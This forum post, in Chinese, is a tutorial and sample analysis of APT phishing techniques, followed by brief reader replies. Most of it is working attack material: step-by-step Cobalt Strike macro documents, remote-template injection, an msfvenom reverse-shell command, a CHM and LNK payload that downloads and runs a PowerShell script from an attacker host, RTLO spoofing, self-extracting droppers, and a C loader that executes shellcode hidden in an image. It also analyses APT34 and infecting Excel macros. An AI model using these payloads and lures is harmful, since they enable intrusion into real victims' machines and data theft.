吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7717|回复: 41
收起左侧

[PC样本分析] 没有不上钩的鱼儿(上)_常用钓鱼手法

  [复制链接]
mai1zhi2 发表于 2021-4-14 12:29
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 mai1zhi2 于 2021-4-14 17:45 编辑

一、概述
APT(AdvancedPersistent Threat,高级持续性威胁)是在网络空间上常见的攻击事件,具有攻击者长期持续对特定目标进行精准打击的特性。APT 攻击入侵的方式主要有:鱼叉式钓鱼、IM、水坑攻击、钓鱼网站、1/N day 漏洞、0 day 漏洞和物理接触。入侵包括载荷投递和突破防御两个阶段,各种入侵方式的成本如下图: 图片1.png

处于金字塔底层的是鱼叉式钓鱼和水坑攻击,它是最常见、入侵成本最低的攻击方式。攻击者常常以鱼叉邮件做为攻击入口,精心构造邮件标题、正文和附件。水坑攻击则是侵入网站,加入恶意 JS 伪装更新,或是伪造钓鱼网站一步步窃取用户隐私。金字塔往上则是针对边界的渗透攻击。再往上是操作系统漏洞、网络组件漏洞,以及 office,Adobe等应用漏洞利用。再往上则是供应链攻击,如驱动人生挖矿、xshell、xcode、华硕软件更新劫持等事件。顶端则是物理接触,如闻名的震网。 可见APT常用攻击手法是多变的,本文会具体分三个部分来浅析各种常见的攻击手法:
1、 常见钓鱼手法
1.1、       常规的cs宏钓鱼
1.1.1、   宏钓鱼操作手法
1.1.2、   APT34的word宏分析
1.2、       利用docx文档远程模板运行宏
1.3、       excel宏
1.3.1、excel宏操作手法
1.3.2、感染型的excel样本宏分析
1.4、       lnk 快捷方式
1.5、       CHM电子书
1.6、       替换图标及RTLO
1.7、       rar解压执行
1.8、       shellcode图片隐写
1.9、       CS鱼叉
1.10、    白加黑
2、 那些年的漏洞
a)       Office类漏洞
b)       Adobe类漏洞
c)       浏览器类漏洞
d)       其他漏洞
3、 钓鱼框架使用与分析
a)       Gophish
b)       SET

二、常见的钓鱼手法2.1  常规的cs宏钓鱼
2.1.1  宏钓鱼操作手法
依次点击Attacks->Packages->MS OfficeMacro:选择所用的监听器:
图片2.png

选择好监听器后,copy Macro复制宏:
图片3.png
Word打开创建宏的面板:
图片4.png

把cs的宏复制进去,注意需要选择Auto_Open,这里顺带解释下复制黏贴这段宏代码的含义,首先定义PROCESS_INFORMATION、STARTUPINFO结构体:
图片5.png

所需要用到的几个函数CreateRemoteThread、VirtualAllocEx、WriteProcessMemory、CreateProcessA:
图片6.png

接着是shellcode部分,shellcode功能就是下载beacon.dll反射执行:
图片7.png

最后是主要的操作,把shellcode远程注入rundll32.exe再执行:
图片8.png

Ctrl+s保存,word文档另存为docm格式,然后双击打开该文档,目标上线,。
图片9.png

注意,宏里的myArray里面的shellcode要进行免杀处理,不然会被杀软查杀。
2.1.2 APT34的word宏分析
2.1.2.1分析宏
先用oledump.py把文档中的宏dump下来:对文档作基本分析,显示文件中的stream数据,有17段,标记‘m’则有VBA宏。
图片10.png

-s段号,-v解压,该命令表示解压全部段的宏
图片11.png

宏主要内容如下:
图片12.png

宏功能比较清晰:
1、读取了表格1行、25列和1行、26列的内容;
2、创建了Scripting.FileSystemObject和WScript.Shell对象;
3、获得系统环境变量%PUBLIC%路径,并拼接字符串,cmd1内容为用powershell把第一步读取到的内容base64解码后,分别写入%public%/Library/fireeye.vbs、%public%/Library/fireeye.vbs中,Cmd2内容为创建名为GoogleUpdatesTaskMachineUI每隔三分钟执行%public%/Library/fireeye.vbs的计划任务;
4、FileSystemObject创建目录%PUBLIC%/Libarary/up、dn、tp;5、执行cmd命令。

2.1.2.2分析解密出来的fireeye.vbs:
从服务器下载文件并保存再%public%\Librarise\dn目录,文件名从响应头的Content-Disposition字段获得:
图片13.png

从服务器下载文件,保存在%public%\Librarise\up目录并执行,把执行结果base64编码后传回服务器后自删除:
图片14.png

执行fireeye.ps1
图片15.png

2.1.2.3分析fireeye.ps1行为:
该脚本主要通过DNS通信,原理是将子域名的A记录解析到不同IP地址,首先生成不同的子域名:
图片16.png

再通过拼接不同的子域名获取到对应IP地址(数据):
图片17.png

对返回的IP地址作解析:33.33开头则后面两字节作文件名,并设置flag ;35.35.35.35则结束会话
图片18.png

当flag为1,则把数据写入文件:
图片19.png

主体流程如下:
图片20.png   

2.2 利用docx文档远程模板运行宏
创建宏方式与2.1的一致,所得的docm模板复制到http服务器上:
图片21.png

开启http服务器:
图片22.png
图片23.png

新建文档加载相应的模板:
图片24.png

然后保存,并把docx后缀名修改为zip
: 图片25.png

解压后找到\word\_rels\settings.xml.rels文件中的target标签,该标签目前表示加载本地的宏模板:
图片26.png

把target改为服务器上的dotm文件:
图片27.png
2.3 excel宏
2.3.1 excel宏操作手法
制作msi文件:msfvenom -p windows/meterpreter/reverse_tcpLHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f msi -o1.msi建立监听:
图片28.png

新建xlsx文件,在sheet表格处,右击插入宏:
图片29.png

宏内容,这里可以隐藏宏内容:
图片30.png
然后另存为xlsm格式。再打开文档,启动宏,反弹已执行:
图片31.png

2.3.2感染型的excel样本宏分析
先打开文档analt+f11查看宏,当文档打开先后调用d2p(),anthorize()两个函数:
图片32.png

查看d2p()函数,该函数主要作用在C:\Users\kent\AppData\Roaming\Microsoft\Excel\XLSTART路径下创建anthorization.xls文档,并复制该样本代码的前100行到anthorization.xls中,再在100行后面添加红框代码,最用调用Workbooks.open自启动感染所有打开的excel文档。
图片33.png
继续看anthorization()函数,先用GetObject("winmgmts:\\.").instancesof("Win32_Process")获取系统所有进程信息,并判断iexplore.exe是否在进程列表;如果不再进程列表则先打开office网站;如果在进程列表则用隐藏方式打开2345网站:
图片34.png
打开的ie进程:
图片35.png
窗口句柄:
图片36.png
图片37.png
再来查看生成的anthorization.xls文档:
图片38.png
打开anthorization.xls文档,查看宏,先后调用runtimer()、anthorize()函数:
图片39.png
跟进runtimer函数,里面调用p2dd()函数:
图片40.png
再跟进p2dd()函数,该函数用于感染其他打开的文档,在 VBE 窗口操作打开ThisWorkbook宏,如果存在update等相关关键字则把原始代码删除,后面再写入该样本前100行代码,并拼接红框代码: 图片41.png
查看authorize()函数,里面调用authorization()函数,authorization()该函数功能已讲过,不再赘述,
图片42.png
被感染的excle文档与anthorization.xls文档ThisWorkbook宏代码一致,也不再赘述。
2.4 lnk 快捷方式
依次点击Attacks->Packages->HTMLApplication:
图片43.png

选择好listener和mothod后,这里的method选择powershell方式,然后生成相应ps1脚本,再把脚本放在相应的http服务器上,也可以用cs的host a file功能:
图片44.png
然后新建快捷方式,选择好相应的程序,填入相应的目标地址:
图片45.png
目标地址如下:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-exec bypass -c IEX (New-ObjectSystem.Net.Webclient).DownloadString('http://192.168.202.131:8080/payload.ps1')可以更改图标增加迷惑性: 图片46.png
执行上线:
图片47.png

2.5 CHM电子书
这种后门是较为隐秘的后门,先新建文本,再复制下面的代码到文本中:
[HTML] 纯文本查看 复制代码
[/b]
[b]<!DOCTYPE html><html><head><title>Mousejackreplay</title><head></head><body>command exec <OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command"value="ShortCut"> <PARAM name="Button"value="Bitmap::shortcut"> <PARAM name="Item1"value=",cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.202.131:8080/payload.ps1')"> <PARAM name="Item2"value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>[/b]
[b] 

然后把文本另存为html格式,ANSI编码。接着使用EasyCHM制作相应的CHM电子书,打开EasyCHM后,依次点击新建->浏览->选择html文件所在所在的目录:
图片48.png
点击编译,生成CHM电子书。双击运行电子书,运行上线:
图片49.png   

2.6替换图标及RTLO
这种替换执行程序图标外加上RTLO这手法挺常见的,蓝莲花等组织也有用过,使用Restorator工具可以轻松地替换掉图标。
图片50.png

被替换掉图标的程序:
图片51.png

RTLO(Right-to-Left Override),是一个微软的中东Unicode字符,使电脑将任意语言的文字内容按倒序排列,最初是用来支持一些从右往左写的语言的文字。
图片52.png
Artifact.exe利用RLO后名字改为artfactexe.mp4
图片53.png
执行上线:
图片54.png   

2.7 rar解压执行
Rar解压执行这种方式可以把两个不同的文件捆绑在一起,然后利用winrar解压执行,但免杀效果好像挺一般。 同时选中两个文件,将其添加到压缩包,并勾选创建自解压格式压缩文件:
图片55.png

依次点击高级->自解压选项->常规,填入相应的解压路径:
图片56.png

点击设置,填入需要运行的程序:
图片57.png

点击模式选项卡,选择全部隐藏:
图片58.png

点击更新选项卡,选择解压并更新文件和覆盖所有文件:
图片59.png

最后得到exe压缩包:
图片60.png

执行压缩包程序上线:
图片61.png
2. 8 shellcode图片隐写
该手法较为常见,可以把有代码的图片放在本地或者网上来加载或通信。使用https://github.com/Mr-Un1k0d3r/DKMC该项目把shellcode隐写到图片中。先用python dkmc.py,运行项目,然后使用sc命令再用set source shellcode.txt设置shellcoe文本或使用gen命令再使用set shellcode设置具体的shellcode,再run运行得到插入shellcode的图片:file:///C:/Users/kent/AppData/Local/Temp/msohtmlclip1/01/clip_image124.png default.bmp - 十六进制比较 - Beyond Compare" width="554" height="299" border="0"> 图片62.png
使用加载器读取图片,执行shellcode,加载器使用平时读取文件的加载器就可以:
[C] 纯文本查看 复制代码
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[]) {
    //加密保存在文件的shellcode
    //"C:\\Users\\kkkk\\Desktop\\1.bin"
    HANDLE hFile = CreateFile("D:\\out.bmp", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Error");
        return -1;
    }

    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL)
    {
        printf("Error");
        return -1;
    }
    RtlZeroMemory(lpAddress, dwSize);

    //读内容
    DWORD dwRead;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);


    //设置前两个字节
    //*(char*)lpAddress = 0x4D;
    //*((char*)lpAddress + 1) = 0x5A;

    system("pause");

    __asm {
        call lpAddress;
    }
    _flushall();

    return 0;
}

执行上线:
图片63.png 这里解释这个项目的原理:项目把shellcode保存在bmp文件的后面,0x42与0x4d是无关紧要的字节码,
图片64.png
然后跳到原来图片文件的尾部,开始执行shellcode。
2.9 CS鱼叉
依次点击Attacks->SpearPhish,根据需要依次填入相应的信息:
图片65.png
Target是需要发送到标的邮箱地址,格式为,中间为tab键:123456@qq.com  nameTempalte是邮件的模板,打开邮件原文,再右键另存为:
图片66.png
Attachment是索要添加的附件;Embed URL是邮件里的链接点击后所要跳转的URL;Mail Server是 邮件的SMTP设置,需要设置好;Bounce To是邮件内显示的发送人;当东西设置好后,点击send,qq邮箱收到相应的邮件:
72.png
图片67.png
2.10 白加黑
白加黑,该手法简单来说就是一个白名单的exe程序在动态加载dll时,由于没有对dll进行安全校验,导致加载了同目录下攻击者所创建的恶意dll,因为该手法免杀效果良好,所以一直以来都比较常用。这里用网上一个实例来加以说明:

图片68.png
这里有1.exe和wwlib.dll,其中1.exe是带有微软签名信息的程序,所以1.exe是不会报毒的。
图片69.png
而在1.exe中,函数sub_30001573()中加载wwlib.dll,并调用了dll中FMain导出函数:
图片70.png
同目录下Wwlib.dll中的FMain()导出函数为攻击者所实现的相关攻击操作:
图片71.png
三、阶段总结      
常用的钓鱼手法还有很多,只要思路够骚,没有目标不上钩,这次的常用手法就写到这里,下次继续写所遇到的漏洞和框架浅析,谢谢大家的观看。
参考链接:
https://paper.seebug.org/1132/
https://www.moonsec.com/
https://bbs.pediy.com/thread-262161.htm

免费评分

参与人数 20威望 +1 吾爱币 +35 热心值 +19 收起 理由
snowhee + 1 我很赞同!
Chaozzz + 1 + 1 我很赞同!
JamesWang + 1 + 1 用心讨论,共获提升!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
梦呓233 + 1 + 1 用心讨论,共获提升!
不染 + 1 + 1 我很赞同!
0xpthread + 1 鼓励转贴优秀软件安全工具和文档!
直方 + 1 + 1 用心讨论,共获提升!
75292875 + 1 谢谢@Thanks!
xuan1xuan + 1 谢谢@Thanks!
kexue8 + 1 + 1 谢谢@Thanks!
阿光最帅 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
根号柃 + 1 + 1 谢谢@Thanks!
ccc1215325 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
apfnybrek + 1 + 1 谢谢@Thanks!
moomoo + 1 热心回复!
zishuing + 1 + 1 我很赞同!
sam喵喵 + 1 已阅,感谢分享
tony666 + 1 + 1 谢谢@Thanks!
林伊轩 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

白羊君 发表于 2021-4-14 19:38
作为一个钓鱼人,看到你标题都两眼放光,打开就是这钓鱼???我8米1的杆子呢?
ClearLover 发表于 2021-4-15 10:17
灰度X 发表于 2021-4-15 09:52
为什么mp4和html病毒都搜不到演示文章啊,我有点怀疑

都说了MP4没有了你怎么搜,所谓的音视频媒体病毒也不过是转了下后缀而已,利用windows默认不开启显示后缀的,实质还是exe的!!!!
heikis 发表于 2021-4-14 18:15
林伊轩 发表于 2021-4-14 18:46
很强,膜拜
更高层次的攻击是怎么实现呢
welcome7758521 发表于 2021-4-14 19:37
真就现实版,点对点上钩呗
 楼主| mai1zhi2 发表于 2021-4-14 20:40
林伊轩 发表于 2021-4-14 18:46
很强,膜拜
更高层次的攻击是怎么实现呢

更高层次的攻击就越往金字塔的高层,但相对来说没鱼叉这些普遍
 楼主| mai1zhi2 发表于 2021-4-14 20:40
白羊君 发表于 2021-4-14 19:38
作为一个钓鱼人,看到你标题都两眼放光,打开就是这钓鱼???我8米1的杆子呢?

哈哈哈哈哈
wjs998 发表于 2021-4-14 21:32
大佬   请收下我的膝盖
头像被屏蔽
灰度X 发表于 2021-4-14 21:36
提示: 作者被禁止或删除 内容自动屏蔽
zhrmghgtw 发表于 2021-4-14 21:44
谢谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 11:12

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表